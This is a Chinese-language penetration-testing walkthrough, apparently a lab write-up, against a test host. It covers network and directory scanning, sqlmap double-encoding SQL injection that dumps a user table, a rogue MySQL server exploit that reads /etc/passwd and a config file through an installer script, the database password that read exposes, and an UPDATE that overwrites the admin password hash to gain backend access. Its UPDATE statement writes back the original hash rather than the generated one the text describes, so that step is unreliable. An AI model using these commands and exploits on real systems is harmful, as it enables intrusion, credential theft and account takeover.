linux内网渗透

一、信息收集

主机发现:

nmap -sP 192.168.16.0/24 

linux内网渗透_第1张图片

端口探测

masscan -p 1-65535 192.168.16.168 --rate=1000                     

开放端口如下

linux内网渗透_第2张图片

nmap端口详细信息获取

nmap -sC -p 8888,3306,888,21,80 -A 192.168.16.168 -oA ddd4-port

linux内网渗透_第3张图片

目录扫描

gobuster dir -u http://www.ddd4.com -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -t 100 -x 'php,zip,html,rar' -oddd4.log --wildcard  | grep -v 11807 | grep -v "Size: 49" 

or

linux内网渗透_第4张图片

二、sql注入

sqlmap二次编码注入

注入分析

查询地址:

http://www.ddd4.com/search?keyword=12

linux内网渗透_第5张图片

使用’看到被提示非法字符,进行编码尝试

linux内网渗透_第6张图片

单次编码后报错,原因是代码中进行了解码,这里需要编码后的再次进行编码后实现二次编码进行绕过

linux内网渗透_第7张图片

报错存在注入

linux内网渗透_第8张图片

sqlmap注入

测试注入

sqlmap -u http://www.ddd4.com/search?keyword=1 --batch 

linux内网渗透_第9张图片

绕过列出当前数据库:

sqlmap -u http://www.ddd4.com/search?keyword=11 --dbms mysql --batch --tamper chardoubleencode.py --current-db

#sqlmap中的tamper给我们带来了很多防过滤的脚本

linux内网渗透_第10张图片

列出当前数据库中的表

sqlmap -u http://www.ddd4.com/search?keyword=11 --dbms mysql --batch --tamper chardoubleencode.py -D www_ddd4_com --tables 

linux内网渗透_第11张图片

查看表中的数据内容

sqlmap -u http://www.ddd4.com/search?keyword=11 --dbms mysql --batch --tamper chardoubleencode.py -D www_ddd4_com -T doc_user --dump

linux内网渗透_第12张图片

9430q1yc97c94304a6sy04ef5f8b2l42f136e0s8d423d5d0uj259f85af8n0547x28f21yc97c    admin@localhost 

发现密码被加密信息,解密失败


$dbhost = $_REQUEST['dbhost'];
$uname = $_REQUEST['uname'];
$pwd = $_REQUEST['pwd'];
$dbname = $_REQUEST['dbname'];
if($_GET['action']=="chkdb"){
$con = @mysql_connect($dbhost,$uname,$pwd);
if (!$con){
die('-1');
}

三、mysql客户端任意文件读取

源码


$dbhost = $_REQUEST['dbhost'];
$uname = $_REQUEST['uname'];
$pwd = $_REQUEST['pwd'];
$dbname = $_REQUEST['dbname'];
if($_GET['action']=="chkdb"){
$con = @mysql_connect($dbhost,$uname,$pwd);
if (!$con){
die('-1');
}
$rs = mysql_query('show databases;');
while($row = mysql_fetch_assoc($rs)){
$data[] = $row['Database'];
}
unset($rs, $row);
mysql_close();
if (in_array(strtolower($dbname), $data)){
echo '1';
}else{
echo '0';
}
}elseif($_GET['action']=="creatdb"){
if(!$dbname){
die('0');
}
$con = @mysql_connect($dbhost,$uname,$pwd);
if (!$con){
die('-1');
}
if (mysql_query("CREATE DATABASE {$dbname} DEFAULT CHARACTER SET utf8COLLATE utf8_general_ci",$con)){
echo "1";
}else{
echo mysql_error();
}
mysql_close($con);
}
exit;
?>
$dbhost = $_REQUEST['dbhost'];
$uname = $_REQUEST['uname'];
$pwd = $_REQUEST['pwd'];
$dbname = $_REQUEST['dbname'];
if($_GET['action']=="chkdb"){
$con = @mysql_connect($dbhost,$uname,$pwd);
if (!$con){
die('-1');
}
这段PHP代码是一个非常不安全的数据库操作代码,存在严重的安全漏洞,特别是由于使用了mysql_*函数,这些函数在现代PHP版本中已被弃用。此代码用于执行数据库操作,包括检查数据库是否存在(chkdb)和创建数据库(creatdb),具体如下:

用户通过HTTP GET或POST请求向脚本提供以下参数:

dbhost:数据库主机名或IP地址。
uname:数据库用户名。
pwd:数据库密码。
dbname:数据库名称。
action:用于确定要执行的操作(chkdb表示检查数据库是否存在,creatdb表示创建数据库)。
如果action参数的值是"chkdb",则脚本会尝试连接到MySQL数据库服务器。如果连接失败,脚本将返回"-1"。如果连接成功,则脚本将执行一个SHOW DATABASES查询,获取数据库列表,并将这些数据库名称存储在数组$data中。

脚本然后关闭数据库连接,并检查指定的数据库名称是否存在于$data数组中。如果存在,脚本返回"1",表示数据库存在。否则,返回"0",表示数据库不存在。

如果action参数的值是"creatdb",则脚本会尝试连接到MySQL数据库服务器。如果连接失败,脚本将返回"-1"。如果连接成功,则脚本将执行一个CREATE DATABASE查询,用指定的数据库名称创建一个新的数据库。如果创建成功,脚本返回"1",否则返回MySQL的错误信息。

exp下载地址:

https://github.com/allyshka/Rogue-MySql-Server

执行该脚本:该脚本默认读取/etc/passwd

python2 rogue_mysql_server.py

linux内网渗透_第13张图片

kali内访问:

http://www.ddd4.com/setup/checkdb.php?dbname=mysql&uname=root&pwd=123456&dbhost=192.168.16.182&action=chkdb

#这里ip是填kali的ip

linux内网渗透_第14张图片

这时候已经读取到/etc/passwd了

cat mysql.log   

linux内网渗透_第15张图片

更换读取mysql配置文件

/www/wwwroot/www.ddd4.com/config/doc-config-cn.php

linux内网渗透_第16张图片

浏览器访问

http://www.ddd4.com/setup/checkdb.php?dbname=mysql&uname=root&pwd=123456&dbhost=192.168.16.182&action=chkdb

读取mysql配置信息成功

linux内网渗透_第17张图片

可以看到mysql的密码:

DB_DBNAME:www_ddd4_com

'DB_PASSWORD:x4ix6ZrM7b8nFYHn

四、登录 mysql

1.列出当前数据库用户

sqlmap -u http://www.ddd4.com/search?keyword=1  --dbms mysql -v 1 --tamper chardoubleencode.py  --current-user   --batch

linux内网渗透_第18张图片

用户:www_ddd4_com@localhost

因此目前可知:

得到数据库连接文件
dbname www_ddd4_com
username www_ddd4_com
password x4ix6ZrM7b8nFYHn

2.数据库连接

└─# mysql -h192.168.16.169 -uwww_ddd4_com -px4ix6ZrM7b8nFYHn

ip为对方主机ip

连接对方数据库成功linux内网渗透_第19张图片

查看www_ddd4_com数据库中doc_user表的内容

MySQL [www_ddd4_com]> select * from doc_user ;

linux内网渗透_第20张图片

看到密文:

 admin@localhost | admin    | 9430q1yc97c94304a6sy04ef5f8b2l42f136e0s8d423d5d0uj259f85af8n0547x28f21yc97c 

3.密文替换登录

源代码中成加密后的admin密码,这里下载不到源码是网上已经有的

生成密文 admin 的明文为 33e2q1yc3d033e22aesyc2140aec3l850c3a99s21232f297uj57a5a7438n4a0ex4a801yc3d0

mysql执行替换语句:

MySQL [www_ddd4_com]> 
update doc_user set
pwd='9430q1yc97c94304a6sy04ef5f8b2l42f136e0s8d423d5d0uj259f85af8n0547x28f21yc97c ' where id=1;
Query OK, 1 row affected (0.005 sec)
Rows matched: 1 Changed: 1 Warnings: 0

linux内网渗透_第21张图片

成功进入后台:

linux内网渗透_第22张图片

你可能感兴趣的:(Web安,网络安全学习,linux,安全,web安全)